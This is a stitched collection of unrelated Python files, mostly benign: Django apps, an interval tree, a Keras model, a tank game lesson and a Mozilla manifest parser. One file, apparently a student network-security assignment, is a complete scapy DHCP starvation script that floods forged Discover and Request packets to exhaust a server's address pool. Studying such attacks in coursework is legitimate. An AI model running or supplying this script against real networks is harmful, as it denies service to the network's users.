from graphviz import Digraph
import random
import timeit
from memory_profiler import memory_usage

class Node:
    def __init__(self, interval, max_end):
        self.interval = interval
        self.max_end = max_end
        self.left = None
        self.right = None

class IntervalTree:
    def __init__(self):
        self.root = None

    def insert(self, node, interval):
        if node is None:
            max_end = max(interval)
            return Node(interval, max_end)

        low = interval[0]
        if low < node.interval[0]:
            node.left = self.insert(node.left, interval)
        else:
            node.right = self.insert(node.right, interval)

        if node.max_end < max(interval):
            node.max_end = max(interval)

        return node

    def delete(self, interval):
        self.root, _ = self.delete_interval(self.root, interval)

    def delete_interval(self, root, interval):
        if not root:
            return root, None

        deleted_node = None
        if root.interval == interval:
            deleted_node = root

            if root.left:
                max_node = root.left
                while max_node.right:
                    max_node = max_node.right

                root.interval = max_node.interval
                root.left, _ = self.delete_interval(root.left, max_node.interval)

            elif root.right:
                min_node = root.right
                while min_node.left:
                    min_node = min_node.left

                root.interval = min_node.interval
                root.right, _ = self.delete_interval(root.right, min_node.interval)

            else:
                root = None

        elif interval[0] < root.interval[0]:
            root.left, deleted_node = self.delete_interval(root.left, interval)

        else:
            root.right, deleted_node = self.delete_interval(root.right, interval)

        if root:
            root.max_end = max(
                root.interval[1],
                root.left.max_end if root.left else float("-inf"),
                root.right.max_end if root.right else float("-inf"),
            )

        return root, deleted_node

    def update(self, old_interval, new_interval):
        self.delete(old_interval)
        self.root = self.insert(self.root, new_interval)

    def search(self, node, interval):
        if node is None:
            return []

        intersecting_intervals = []
        low, high = interval
        node_low, node_high = node.interval

        if node_low <= high and low <= node_high:
            intersecting_intervals.append(node.interval)

        if node.left is not None and node.left.max_end >= low:
            intersecting_intervals.extend(self.search(node.left, interval))

        if node.right is not None and node_low <= high:  # Also check the right subtree
            intersecting_intervals.extend(self.search(node.right, interval))

        return intersecting_intervals

    def build(self, intervals):
        for interval in intervals:
            self.root = self.insert(self.root, interval)

# Function to visualize the Interval Tree
def visualize_tree(node, graph=None):
    if graph is None:
        graph = Digraph()

    if node is not None:
        graph.node(f"{id(node)}", f"{node.interval}\nMax End: {node.max_end}")

        if node.left:
            graph.node(
                f"{id(node.left)}",
                f"{node.left.interval}\nMax End: {node.left.max_end}",
            )
            graph.edge(f"{id(node)}", f"{id(node.left)}", "L")
            visualize_tree(node.left, graph)

        if node.right:
            graph.node(
                f"{id(node.right)}",
                f"{node.right.interval}\nMax End: {node.right.max_end}",
            )
            graph.edge(f"{id(node)}", f"{id(node.right)}", "R")
            visualize_tree(node.right, graph)

    return graph

def demo_interval_tree():
    print("Interval Tree:")

    # Create synthetic dataset
    intervals = [(random.randint(0, 50), random.randint(51, 100)) for _ in range(20)]

    # Initialize IntervalTree and build it
    tree = IntervalTree()

    # Measure build memory usage
    mem_usage_before = memory_usage()[0]
    build_time = timeit.timeit(lambda: tree.build(intervals), number=1)
    mem_usage_after = memory_usage()[0]
    mem_diff = mem_usage_after - mem_usage_before
    print(f"Memory used to build the tree: {max(0, mem_diff):.10f} MiB")
    print(f"Time taken to build the tree: {build_time:.10f} seconds")

    # Visualize the tree after build
    visualize_tree(tree.root).render(
        filename="interval_tree_build", view=True, format="png", cleanup=True
    )

    # Create a list of new intervals to insert
    new_intervals = [(15, 30), (32, 45), (5, 20)]

    # Measure time and memory and insert the new intervals
    for new_interval in new_intervals:
        mem_usage_before = memory_usage()[0]
        insert_time = timeit.timeit(
            lambda: tree.insert(tree.root, new_interval), number=1
        )
        mem_usage_after = memory_usage()[0]
        mem_diff = mem_usage_after - mem_usage_before
        print(
            f"Memory used to insert interval {new_interval}: {max(0, mem_diff):.10f} MiB"
        )
        print(
            f"Time taken to insert interval {new_interval}: {insert_time:.10f} seconds"
        )

    # Visualize the tree after insert
    visualize_tree(tree.root).render(
        filename="interval_tree_insert", view=True, format="png", cleanup=True
    )

    # Test deletion
    delete_interval = (32, 45)  # Modify with an actual interval from your tree
    mem_usage_before = memory_usage()[0]
    delete_time = timeit.timeit(lambda: tree.delete(delete_interval), number=1)
    mem_usage_after = memory_usage()[0]
    mem_diff = mem_usage_after - mem_usage_before
    print(
        f"Memory used to delete interval {delete_interval}: {max(0, mem_diff):.10f} MiB"
    )
    print(f"Time taken to delete an interval: {delete_time:.10f} seconds")

    # Visualize the tree after delete
    visualize_tree(tree.root).render(
        filename="interval_tree_delete", view=True, format="png", cleanup=True
    )

    # Test update
    old_interval = (15, 30)  # Modify with an actual interval from your tree
    new_interval = (24, 100)  # Modify with the desired new interval
    mem_usage_before = memory_usage()[0]
    update_time = timeit.timeit(
        lambda: tree.update(old_interval, new_interval), number=1
    )
    mem_usage_after = memory_usage()[0]
    mem_diff = mem_usage_after - mem_usage_before
    print(
        f"Memory used to update interval {old_interval} to {new_interval}: {max(0, mem_diff):.10f} MiB"
    )
    print(f"Time taken to update an interval: {update_time:.10f} seconds")

    # Visualize the tree after update
    visualize_tree(tree.root).render(
        filename="interval_tree_update", view=True, format="png", cleanup=True
    )

    # Test search
    search_interval = (10, 20)
    mem_usage_before = memory_usage()[0]
    search_time = timeit.timeit(
        lambda: tree.search(tree.root, search_interval), number=1
    )
    mem_usage_after = memory_usage()[0]
    mem_diff = mem_usage_after - mem_usage_before
    print(f"Memory used to search an interval: {max(0, mem_diff):.10f} MiB")
    print(f"Time taken to search an interval: {search_time:.10f} seconds")

    # Execute and print the result of the search
    found_interval = tree.search(tree.root, search_interval)
    print(f"Found interval that intersects with {search_interval}: {found_interval}")

# Call the demo function to run the code
if __name__ == "__main__":
    demo_interval_tree()


"""
Python Version 3.8

Singapore Institute of Technology (SIT)
Information and Communications Technology (Information Security), BEng (Hons)

ICT-2203 Network Security Assignment 1

Author: @ Tan Zhao Yea / 1802992
Academic Year: 2020/2021
Lecturer: Woo Wing Keong
Submission Date: 25th October 2020

This script holds the code to perform DNS Starvation.
	> Port Security enabled discourage us to use RandMac() from the same host
	> Layer 2 src remains the same, but chaddr at Layer 7 is change to use a RandMac()
	> First, perform DHCP Discover Packet
	> Then, perform DHCP Request Packet after receiving the DHCP Offer Packet
"""

import logging
import multiprocessing as mp

from scapy.all import *

# UDP Port Number Protocol
SERVER_DHCP_PORT = 67
CLIENT_DHCP_PORT = 68

# Default Configurations
IFACE = conf.iface
BROADCAST_MAC = 'ff:ff:ff:ff:ff:ff'
META_ADDR = "0.0.0.0"
BROADCAST_IP = "255.255.255.255"
HW = get_if_hwaddr(IFACE)

# DHPC Options
MSG_TYPE = 0
SERVER_ID = 1
DHCP_OFFER = 2
ANS = 1

# Sleep Time
SLEEP_DURATION = 2

# Logging Configuration
LOG_FILE_DIR = os.path.abspath("logs/dhcp_starve.txt")
logging.basicConfig(filename=LOG_FILE_DIR,
                    filemode='w',
                    level=logging.DEBUG,
                    format='%(asctime)s %(message)s',
                    datefmt='%d/%m/%Y %I:%M:%S %p')

class DHCPStarvation(object):
    def __init__(self, iface, hardware_addr, broadcast_mac, meta_addr, broadcast_ip, random_mac):
        self.iface = iface
        self.broadcast_mac = broadcast_mac
        self.meta_address = meta_addr
        self.broadcast_ip = broadcast_ip

        # Get HW Address
        self.hw = hardware_addr
        self.rand_mac = random_mac

    def send_dhcp_dis_pkt(self):
        """ Creates the DHCP Discover Packet to prepare for DHCP Starvation """
        pkt = Ether(src=self.hw, dst=self.broadcast_mac) \
              / IP(src=self.meta_address, dst=self.broadcast_ip) \
              / UDP(sport=CLIENT_DHCP_PORT, dport=SERVER_DHCP_PORT) \
              / BOOTP(chaddr=self.rand_mac) \
              / DHCP(options=[('message-type', 'discover'), 'end'])

        sendp(pkt, iface=self.iface, verbose=0)

def craft_dhcp_pkt():
    """ Crafting DHCP Discover Packet Starvation Attack """

    # Infinite Attack
    while True:
        logging.info("[*] Crafting DHCP Discover Packet")
        random_mac = RandMAC()
        packet = DHCPStarvation(iface=IFACE,
                                hardware_addr=HW,
                                broadcast_mac=BROADCAST_MAC,
                                meta_addr=META_ADDR,
                                broadcast_ip=BROADCAST_IP,
                                random_mac=random_mac)

        logging.info("[*] Sending DHCP Discover Packet ...")
        packet.send_dhcp_dis_pkt()
        logging.info(f"[*] Sleeping for {SLEEP_DURATION} seconds ...")
        time.sleep(SLEEP_DURATION)

def dhcp_pkt_filter(pkt):
    """
    Allow only DHCP Packet for processing
    :param pkt: Incoming Packet
    :return: Boolean (True/False)
    """
    try:
        if pkt.haslayer(DHCP) and pkt[DHCP].options[MSG_TYPE][ANS] == DHCP_OFFER:
            return pkt[UDP].sport == SERVER_DHCP_PORT and pkt[UDP].dport == CLIENT_DHCP_PORT

        return False

    except:
        pass

def send_dhcp_req(pkt):
    """
    Sending DHCP Request Packet
    :param pkt: Incoming Offer Packet
    """
    dhcp_request = Ether(src=HW, dst=pkt[Ether].src) \
                    / IP(src=META_ADDR, dst=BROADCAST_IP) \
                    / UDP(sport=CLIENT_DHCP_PORT, dport=SERVER_DHCP_PORT) \
                    / BOOTP(chaddr=pkt[BOOTP].chaddr) \
                    / DHCP(options=[('message-type', 'request'), ('server_id', pkt[DHCP].options[SERVER_ID][ANS]), ('requested_addr', pkt[BOOTP].yiaddr),'end'])

    sendp(dhcp_request, iface=IFACE, verbose=0)
    logging.info(f"[*] Successfully Starved Address: {pkt[BOOTP].yiaddr}")

def main():
    """ Sniffer Function """
    sniff(lfilter=dhcp_pkt_filter, prn=send_dhcp_req, iface=IFACE)

if __name__ == '__main__':
    p1 = mp.Process(target=main)
    p2 = mp.Process(target=craft_dhcp_pkt)
    logging.info("[*] Starting Program ...")
    p1.start()
    p2.start()


from django.shortcuts import render
from .models import user_session
from django.http import HttpResponse

# Create your views here.
def index(request):
    live_session = user_session.objects.all()
    return render(request, 'h5_mobile_live_main.html', {'live_session':live_session})

def iwantlive(request):
    return render(request, 'h5_mobile_live_wantlive.html', {})

def register(request):
    if request.method == "POST":
        room = user_session()
        roomname = request.POST['roomname']
        cover = request.FILES['image']
        room.title = roomname
        room.playCount = 998
        room.cover = cover
        room.save()

        return HttpResponse('upload ok!')
    else:
        return render(request, 'h5_mobile_live_wantlive.html',{})


from django.contrib import admin
from django.utils.safestring import mark_safe

from .models import FilaUser,Profile,Events
# Register your models here.
from django.contrib.auth.admin import UserAdmin
from django.utils.translation import ugettext_lazy as _
from .forms import RegistrationForm,EditProfileForm,CustomProfileForm

class EventAdmin(admin.ModelAdmin):

    model = Events
    can_delete = False
    fk_name = 'filauser'
    verbose_name_plural = 'Event'

    fieldsets = (
        (None, {'fields': ('UserEvent',)}),

        (_('Event'), {'fields': ('day',)}),
        (_('Event Details'), {'fields': ('concert_type','vocal_type','city','location','room',)}),
        (_('Event Time'), {'fields': ('start_time','final_time',)}),
    )

    add_fieldsets = (
        (None, {
            'classes': ('wide',),
            'fields': ('UserEvent','day','concert_type','vocal_type','city','location','room','start_time','final_time',),
        }),
    )

    list_display = ['UserEvent','day']
    search_fields = ('UserEvent',)

admin.site.register(Events, EventAdmin)

class FilaCustomUserAdmin(UserAdmin):

    add_form = RegistrationForm
    form = EditProfileForm
    model = FilaUser
    """inlines =(ProfileFilaUserAdmin, )

    def get_inline_instances(self, request, obj=None):

        if not obj:
            return list()

        return super(FilaCustomUserAdmin,self).get_inline_instances(request,obj)"""
    fieldsets = (
        (None, {'fields': ('email', 'password')}),
        (_('Personal Info'),
         {'fields': ('first_name',
                     'last_name',
                     )}
         ),
        #(_('Details'),{'fields' : ('photo','phone_number','instagram','facebook','caption')}),
        (_('Permissions'), {'fields': ('is_superuser', 'is_staff', 'is_active')}),
        (_('Important dates'), {'fields': ('last_login', 'date_joined')}),
    )

    add_fieldsets = (
        (None, {
            'classes': ('wide',),
            'fields': ('email', 'email2', 'first_name', 'last_name', 'password1', 'password2','photo','phone_number','instagram','facebook','caption','day',),
        }),
    )
    list_display = ['email', 'first_name', 'last_name']
    search_fields = ('email', 'first_name', 'last_name')
    ordering = ('-date_joined',)

admin.site.register(FilaUser,FilaCustomUserAdmin)

class ProfileFilaUserAdmin(admin.ModelAdmin):
    add_form = CustomProfileForm
    form = EditProfileForm
    model = Profile

    can_delete = False
    verbose_name_plural = 'Profile'
    fk_name = 'filauser'

    # list_display = ('first_name','last_name','photo','phone','instagram','facebook','caption')

    fieldsets = (
        (None, {'fields': ('filauser',)}),

        (_('Name'), {'fields': ('first_name', 'last_name',)}),

        (_('Contact'), {'fields': ('phone', 'caption',)}),
        (_('Social-Media'), {'fields': ('photo', 'instagram', 'facebook',)}),
    )

    add_fieldsets = (
        (None, {
            'classes': ('wide',),
            'fields': ('first_name', 'last_name', 'photo', 'phone_number',
                       'instagram', 'facebook', 'caption',),
        }),
    )
    list_display = ['filauser', 'first_name', 'last_name']
    search_fields = ('filauser', 'first_name', 'last_name')

    def photo(self, obj):
        return mark_safe('<img src="{url}" width="{width}" height={height} />'.format(
            url=obj.photo.url,
            width=obj.photo.width,
            height=obj.photo.height,
        ))

admin.site.register(Profile, ProfileFilaUserAdmin)


from django import template
from datetime import date

register = template.Library()

@register.filter
def mostra_duracao(data_emprestimo, data_devolucao):
    if isinstance(data_emprestimo, date) and isinstance(data_devolucao, date):
        dia = (data_devolucao - data_emprestimo).days
        if dia == 1:
            return f'{dia} dia'
        return f'{dia} dias'


# client.py

import socket                   # Import socket module
import cv2
s = socket.socket()             # Create a socket object
host = socket.gethostname()     # Get local machine name
port = 60000                    # Reserve a port for your service.

s.connect(("127.0.0.1", port))
s.send(bytes("Done connection .","utf-8"))

with open('received.png', 'wb') as f:
    print ('file opened')
    print('receiving data...')
    while True:

        data = s.recv(70656)
        #print('data=%s', (data))
        if not data:
            break
        # write data to a file
        f.write(data)

f.close()

print('The file was obtained successfully')

image_cv2= cv2.imread('received.png')
cv2.imshow("Image", image_cv2)
cv2.waitKey(5000)
cv2.destroyWindow("Image")
s.close()
print('connection closed')


from chess.database.database import TinyTableManager, player_database

class Player:
    """Player description"""

    table: TinyTableManager = player_database

    def __init__(self, last_name, first_name, birthdate, player_INE, id=0, score=0):
        self.last_name = last_name
        self.first_name = first_name
        self.birthdate = birthdate
        self.player_INE = player_INE
        self.score = score
        self.id = id

    def serialize(self) -> dict:
        """return a dictionnary"""
        serialized_player = {
            "Last Name": self.last_name,
            "First Name": self.first_name,
            "Date of Birth": self.birthdate,
            "Player INE": self.player_INE,
            "Global Score": self.score,
        }
        return serialized_player

    @classmethod
    def unserialize(cls, serialized_player):
        """Unserialize player data"""
        return cls(
            last_name=serialized_player["Last Name"],
            first_name=serialized_player["First Name"],
            birthdate=serialized_player["Date of Birth"],
            player_INE=serialized_player["Player INE"],
            score=serialized_player["Global Score"],
        )

    @classmethod
    def get_player_info(self, id):
        """Get the player info from the database"""
        player_data = self.table.get(id)
        player: Player = Player.unserialize(player_data)
        player.id = id
        return player

    def add_player_database(self):
        """Add a player to the list"""
        serialized_player: dict = self.serialize()
        id = self.table.save_db(serialized_player)
        return id

    def update_player(self, id):
        """Modify a player in the list"""
        serialized_player: dict = self.serialize()
        self.table.update_db(serialized_player, [id])

if __name__ == "__main__":
    player = Player.get_player_info(2)
    print(player.first_name)
    print(player.last_name)
    print(player.birthdate)


import argparse
import com.color as c
import os

class ARG_PARSE:

    def __init__(self):

        if os.name == 'nt':
            self.data_dir = 'D:/Scapis/Data'
        else:
            self.data_dir = '/media/igofed/DATA/SCAPIS_Processed_Data'

    def argParse(self):
        parser = argparse.ArgumentParser(
            description='''Scapis. This is an updatable software platform to integrate pseudo anonymized data and
            run selected GAN to generate medical images''',

            epilog="""All is well that ends well.""")
        parser.add_argument("-input",
                            "--input",
                            required=False,
                            type=str,
                            help='Path to pseudoanonimized dataset',
                            default=self.data_dir)

        parser.add_argument("-dataset",
                            "--dataset",
                            required=False,
                            type=str,
                            default="drli",
                            help='Type of the dataset')

        parser.add_argument("-out",
                            "--out",
                            required=False,
                            type=str,
                            help='Import directory')

        parser.add_argument("-r", "--r",
                            required=False,
                            type=int,
                            help='Setup resolution to rescale')

        parser.add_argument("-n", "--n",
                            required=False,
                            type=int,
                            help='number of images to generate using PCGAN')

        parser.add_argument("-gan_path", "--gan_path",
                            required=False,
                            type=str,
                            help='Path to the GAN results folder')

        parser.add_argument("-plot", "--plot",  action='store_true', required=False, help='Plot sample')

        args = parser.parse_args()
        print(c.COLOR.Blue + "-" * 100)

        print(c.COLOR.END)

        # if not os.path.exists(os.path.join(os.path.join(args.data_dir, args.dataset))):
        #    print(c.COLOR.Red + args.dataset + " is not existed" + c.COLOR.END)
        # sys.exit(0)
        return args


import datetime
from django.views import generic
from django.shortcuts import render, HttpResponseRedirect, reverse, HttpResponse, get_object_or_404
from .models import Board
from .forms import BoardForm

class IndexView(generic.ListView):
    template_name = 'board/index.html'
    model = Board

class DetailView(generic.View):
    template_name = 'board/detail.html'

    def get(self, request, *args, **kwargs):
        board = get_object_or_404(Board, pk=self.kwargs.get("pk"))
        board.hit += 1
        board.save()
        return render(request, self.template_name, {'board':board})

class WriteView(generic.View):
    form_class = BoardForm
    template_name = 'board/write.html'

    def get(self, request, *args, **kwargs):
        form = self.form_class()
        return render(request, self.template_name, {'form':form})

    def post(self, request, *args, **kwargs):
        form = self.form_class(request.POST)
        if form.is_valid():
            num_sequence = Board.objects.order_by('num').last().num + 1
            obj = Board(num=num_sequence, id=form.data['id'], dt=datetime.datetime.now(),
                        title=form.data['title'], content=form.data['content'], hit=0)
            obj.save()
            return HttpResponseRedirect(reverse('board:detail', args=(obj.num,)))

class UpdateView(generic.View):
    form_class = BoardForm
    template_name = 'board/write.html'

    def get(self, request, *args, **kwrags):
        try:
            num = self.kwargs.get("pk")
            board = Board.objects.get(num=num)
            form = self.form_class(
                initial={
                    'num': board.num,
                    'title': board.title,
                    'content': board.title,
                    'id': board.id
                }
            )
            return render(request, self.template_name, {'form':form})
        except(KeyError, Board.DoesNotExist):
            return render(request, 'board/detail.html', {
                'board':board,
                'error_message':'update failed'
            })

    def post(self, request, *args, **kwrags):
        form_class = BoardForm
        try:
            form = form_class(request.POST)
            if form.is_valid():
                board = get_object_or_404(Board, pk=request.POST['num'])
                board.title = form.cleaned_data['title']
                board.content = form.cleaned_data['content']
                board.save()
                return render(request, 'board/detail.html', {'board':board})
        except(KeyError, Board.DoesNotExist):
            return render(request, 'board/detail.html', {
                'board': board,
                'error_message': 'delete failed'
            })

class DeleteView(generic.View):
    def get(self, request, *args, **kwargs):
        num = self.kwargs.get("pk")
        try:
            board = Board.objects.get(num=num)
            board.delete()
            return HttpResponseRedirect(reverse('board:index'))
        except(KeyError, Board.DoesNotExist):
            return render(request, 'board/detail.html', {
                'board':board,
                'error_message':'delete failed'
            })


### Type Hint/Annotation with Checking examples
"""
List is imported since I am using python 3.7 - 3.9+ includes a list type already
Type hinting or type annotation is important to ensure the type that is passed to a function arguments is correct.
Python is dynamically typed and this can cause issues where the type of a variable is overwritten or changed in a program.
Type checking helps validate the correct types. Mypy can check the types of functions with type hinting included.
To begin using type checking: pip install mypy
Run type checker by: mypy type_hinting.py
Can you find the issue present in this file?
"""
from typing import List

person = "Eleven"
person_fake = "11"
### No type hinting.
def hello_world(name):
    return "Hello " + name

### type hint to accept and return str
def hello_world_type(name: str) -> str:
    if name.isnumeric():
        return None
    else:
        return "Hello " + name

print(hello_world(person))

print(hello_world_type(person))

print(hello_world_type(person_fake))

### type hint take a int and return a list
def list_gen(n: int) -> List[int]:
    new_list = []
    for i in range(n):
        new_list.append(i)
    return new_list

print(list_gen(5))


# Import the OpenAI library
import openai

# Import the Gradio library for creating user interfaces
import gradio

# Set your OpenAI API key
openai.api_key = "####"  # Replace "####" with your actual OpenAI API key

# Initialize the conversation with a system message
messages = [{"role": "system", "content": "You are a financial expert that specializes in real estate investment and negotiation"}]

# Define a function for the Gradio interface
def CustomChatGPT(user_input):
    # Add the user's input to the list of messages
    messages.append({"role": "user", "content": user_input})

    # Use the OpenAI Chat API to generate a response
    response = openai.ChatCompletion.create(
        model="gpt-3.5-turbo",
        messages=messages
    )

    # Extract the generated reply from the API response
    ChatGPT_reply = response["choices"][0]["message"]["content"]

    # Add the assistant's reply to the list of messages
    messages.append({"role": "assistant", "content": ChatGPT_reply})

    # Return the generated reply for display in the Gradio interface
    return ChatGPT_reply

# Create a Gradio interface with a custom function for the chatbot
demo = gradio.Interface(fn=CustomChatGPT, inputs="text", outputs="text", title="Real Estate Pro")

# Launch the Gradio interface and allow sharing
demo.launch(share=True)


import logging

import coloredlogs

def get_logger(name="simplify", debug=False):
    """Create a colored logger.

    Debug messages are not displayed by default.
    Set up debug flag to True if you want to log all debug messages.

    # Get logger
    logger = get_logger(debug=True)

    # Some examples of usage:
    logger.debug("this is a debugging message")
    logger.info("this is an informational message")
    logger.warning("this is a warning message")
    logger.error("this is an error message")
    logger.critical("this is a critical message")
    """
    level_styles = dict(coloredlogs.DEFAULT_LEVEL_STYLES)
    coloredlogs.install(
        level=logging.DEBUG if debug else logging.INFO,
        logger=logging.getLogger(name),
        level_styles=level_styles,
        fmt="%(asctime)s|%(levelname)s|%(module)s:%(lineno)s|%(funcName)s(): %(message)s")
    return logging.getLogger(name)


import pyudev
from .device_data import DeviceData

def get_device_list() -> list[DeviceData]:
    """
    Creates a list of information of connected usb devices.
    The included information is the vendor id, model id, serial number, path and devpath.

    Returns:
        List of DeviceData objects
    """
    devices = []

    context = pyudev.Context()
    for device in context.list_devices(subsystem='tty'):
        path = device.get("ID_PATH", None)

        # find better check if device is connected
        if path is None:
            continue

        vendor_id = device.get("ID_VENDOR_ID", None)
        model_id = device.get("ID_MODEL_ID", None)
        serial = device.get("ID_SERIAL", None)

        devpath = device.attributes.get("devpath", None)
        for parent in device.ancestors:
            if devpath is not None:
                devpath = devpath.decode('ascii')
                break

            devpath = parent.attributes.get("devpath", None)

        devices.append(DeviceData(path, vendor_id, model_id, serial, devpath))

    return devices


from tensorflow import keras
from typing import List,TypeVar
from pathlib import Path
import logging
from src.utils.allutills import Unique_Filename
import os

keras_model = TypeVar("keras_model")

def own_model(img_shape:List[int],num_classes:int,model_path:Path) -> keras_model:

    model = keras.Sequential()
    model.add(keras.layers.Conv2D(8,(3,3),padding='same',kernel_initializer=keras.initializers.HeNormal(),activation='relu',input_shape=tuple(img_shape)))
    model.add(keras.layers.Conv2D(8,(3,3),kernel_initializer=keras.initializers.HeNormal(),activation='relu'))
    model.add(keras.layers.MaxPooling2D(pool_size=(2,2),strides=(2,2)))
    model.add(keras.layers.Conv2D(4,(1,1),padding='same',kernel_initializer=keras.initializers.HeNormal(),activation='relu'))
    model.add(keras.layers.Conv2D(16,(3,3),kernel_initializer=keras.initializers.HeNormal(),activation='relu'))
    model.add(keras.layers.Conv2D(4,(1,1),padding='same',kernel_initializer=keras.initializers.HeNormal(),activation='relu'))
    model.add(keras.layers.Conv2D(16,(3,3),kernel_initializer=keras.initializers.HeNormal(),activation='relu'))
    model.add(keras.layers.MaxPooling2D(pool_size=(2,2),strides=(2,2)))
    model.add(keras.layers.Conv2D(4,(1,1),padding='same',kernel_initializer=keras.initializers.HeNormal(),activation='relu'))
    model.add(keras.layers.Conv2D(64,(3,3),kernel_initializer=keras.initializers.HeNormal(),activation='relu'))
    model.add(keras.layers.GlobalAveragePooling2D())
    model.add(keras.layers.Dense(num_classes,activation='softmax'))

    model.save(model_path)
    logging.info(f'our model was save at {model_path}')

    return model

def prepared_model(model:keras_model
        ,learning_rate:float
        ,momentum:float
        ,nesterov:bool
        ,metrics:List[str]) -> keras_model:

    model.compile(optimizer=keras.optimizers.SGD(learning_rate=learning_rate,momentum=momentum,nesterov=nesterov)
                ,metrics=metrics
                ,loss=keras.losses.CategoricalCrossentropy())
    logging.info("Ready to train our own model is compile")

    return model

def load_full_model(untrain_model_path:Path) -> keras_model:

    model = keras.models.load_model(untrain_model_path)

    logging.info("Loading model was successful")
    return model

def get_unique_model_path(train_model_dir:Path,Model_name:str='model') -> Path:

    unique_filename =  f"{Unique_Filename(Model_name)}_.h5"
    file_path = os.path.join(train_model_dir,unique_filename)
    return file_path

if __name__ == '__main__':
    model = own_model([48,48,3],num_classes=3,model_path=None)
    s = prepared_model(model,learning_rate=0.002,momentum=0.9,nesterov=False,metrics=['accuracy'])


'''
    Цель   урока: запрограммировать вторую часть игры «Танки»: добавить базы, врагов, а также сделать видимые рабочие полоски здоровья.

    + повторить команды прошлых уроков;
    + добавить базы для танков;
    + запрограммировать для них полоски здоровья;
    + добавить возможность наносить урон красной базе, играя за зеленый танк;
    + создать полоску здоровья для зеленого танка;
    + добавить красные танки и полоски здоровья для них;
    + сделать выводы урока;
    + получить домашнее задание.
'''
import arcade
import base
import green
from constants import *
import bullete
import red

class Game(arcade.Window):
    def __init__(self, width, height, title):
        super().__init__(width, height, title)
        #Текстуры
        self.background = arcade.load_texture("background.png")
        #Спрайты
        self.green = green.Green_Tank(self)
        self.green_base = base.Base("green_base.png", self, (255, 255, 0))
        self.red_base = base.Base("red_base.png", self,(255, 165, 0))
        #Спрайтлисты
        self.projectiles = arcade.SpriteList()
        self.red_tanks = []
        #Поля
        self.left_pressed = False
        self.right_pressed = False
        self.up_pressed = False
        self.down_pressed = False
        #Инициализация координат спрайтов
        self.setup()

    def setup(self):
        self.green.center_x = 90
        self.green.center_y = 190
        self.green_base.center_x = 165
        self.green_base.center_y = 350
        self.red_base.center_x = 1035
        self.red_base.center_y = 350
        for i in range(1, 4):
            tank = red.Red_Tank(self)
            tank.center_x = 800
            tank.center_y = 200 * i - 50
            self.red_tanks.append(tank)

    def on_draw(self):
        self.clear()
        arcade.draw_texture_rectangle(SCREEN_WIDTH//2, SCREEN_HEIGHT//2, SCREEN_WIDTH, SCREEN_HEIGHT, self.background)
        self.green.draw()
        self.projectiles.draw()
        self.green_base.draw()
        self.red_base.draw()
        for tank in self.red_tanks:
            tank.draw()

    def update(self, delta_time):
        self.green.update()
        self.projectiles.update()
        self.red_base.update()
        self.green_base.update()
        for tank in self.red_tanks:
            tank.update()

    def on_key_press(self, key, modifiers):
        if key == arcade.key.LEFT:
            self.green.change_angle = 2.5
            self.left_pressed = True
            self.right_pressed = False
        if key == arcade.key.UP:
            self.green.change_x = 4
            self.green.change_y = 4
            self.up_pressed = True
            self.down_pressed = False

        if key == arcade.key.DOWN:
            self.green.change_x = -3
            self.green.change_y = -3
            self.up_pressed = False
            self.down_pressed = True

        if key == arcade.key.RIGHT:
            self.green.change_angle = -2.5
            self.left_pressed = False
            self.right_pressed = True

        if key == arcade.key.SPACE:
            shell = bullete.Bullet("green_bullet.png", self.green, 1)
            self.projectiles.append(shell)

    def on_key_release(self, key, modifiers):
        if key == arcade.key.LEFT and not self.right_pressed:
            self.green.change_angle = 0
        if key == arcade.key.RIGHT and not self.left_pressed:
            self.green.change_angle = 0
        if key == arcade.key.UP and not self.down_pressed:
                self.green.change_x = 0
                self.green.change_y = 0
        if key == arcade.key.DOWN and not self.up_pressed:
            self.green.change_x = 0
            self.green.change_y = 0

window = Game(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE)
arcade.run()


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.

import codecs
import fnmatch
import io
import json
import os
import shutil
import sys
import types

from six import StringIO, string_types

from .filters import DEFAULT_FILTERS, enabled, filterlist
from .filters import exists as _exists
from .ini import read_ini

__all__ = ["ManifestParser", "TestManifest", "convert"]

relpath = os.path.relpath

# path normalization

def normalize_path(path):
    """normalize a relative path"""
    if sys.platform.startswith("win"):
        return path.replace("/", os.path.sep)
    return path

def denormalize_path(path):
    """denormalize a relative path"""
    if sys.platform.startswith("win"):
        return path.replace(os.path.sep, "/")
    return path

# objects for parsing manifests

class ManifestParser(object):
    """read .ini manifests"""

    def __init__(
        self,
        manifests=(),
        defaults=None,
        strict=True,
        rootdir=None,
        finder=None,
        handle_defaults=True,
    ):
        """Creates a ManifestParser from the given manifest files.

        :param manifests: An iterable of file paths or file objects corresponding
                          to manifests. If a file path refers to a manifest file that
                          does not exist, an IOError is raised.
        :param defaults: Variables to pre-define in the environment for evaluating
                         expressions in manifests.
        :param strict: If False, the provided manifests may contain references to
                       listed (test) files that do not exist without raising an
                       IOError during reading, and certain errors in manifests
                       are not considered fatal. Those errors include duplicate
                       section names, redefining variables, and defining empty
                       variables.
        :param rootdir: The directory used as the basis for conversion to and from
                        relative paths during manifest reading.
        :param finder: If provided, this finder object will be used for filesystem
                       interactions. Finder objects are part of the mozpack package,
                       documented at
                       http://firefox-source-docs.mozilla.org/python/mozpack.html#module-mozpack.files
        :param handle_defaults: If not set, do not propagate manifest defaults to individual
                                test objects. Callers are expected to manage per-manifest
                                defaults themselves via the manifest_defaults member
                                variable in this case.
        """
        self._defaults = defaults or {}
        self.tests = []
        self.manifest_defaults = {}
        self.source_files = set()
        self.strict = strict
        self.rootdir = rootdir
        self._root = None
        self.finder = finder
        self._handle_defaults = handle_defaults
        if manifests:
            self.read(*manifests)

    def path_exists(self, path):
        if self.finder:
            return self.finder.get(path) is not None
        return os.path.exists(path)

    @property
    def root(self):
        if not self._root:
            if self.rootdir is None:
                self._root = ""
            else:
                assert os.path.isabs(self.rootdir)
                self._root = self.rootdir + os.path.sep
        return self._root

    def relative_to_root(self, path):
        # Microoptimization, because relpath is quite expensive.
        # We know that rootdir is an absolute path or empty. If path
        # starts with rootdir, then path is also absolute and the tail
        # of the path is the relative path (possibly non-normalized,
        # when here is unknown).
        # For this to work rootdir needs to be terminated with a path
        # separator, so that references to sibling directories with
        # a common prefix don't get misscomputed (e.g. /root and
        # /rootbeer/file).
        # When the rootdir is unknown, the relpath needs to be left
        # unchanged. We use an empty string as rootdir in that case,
        # which leaves relpath unchanged after slicing.
        if path.startswith(self.root):
            return path[len(self.root) :]
        else:
            return relpath(path, self.root)

    # methods for reading manifests

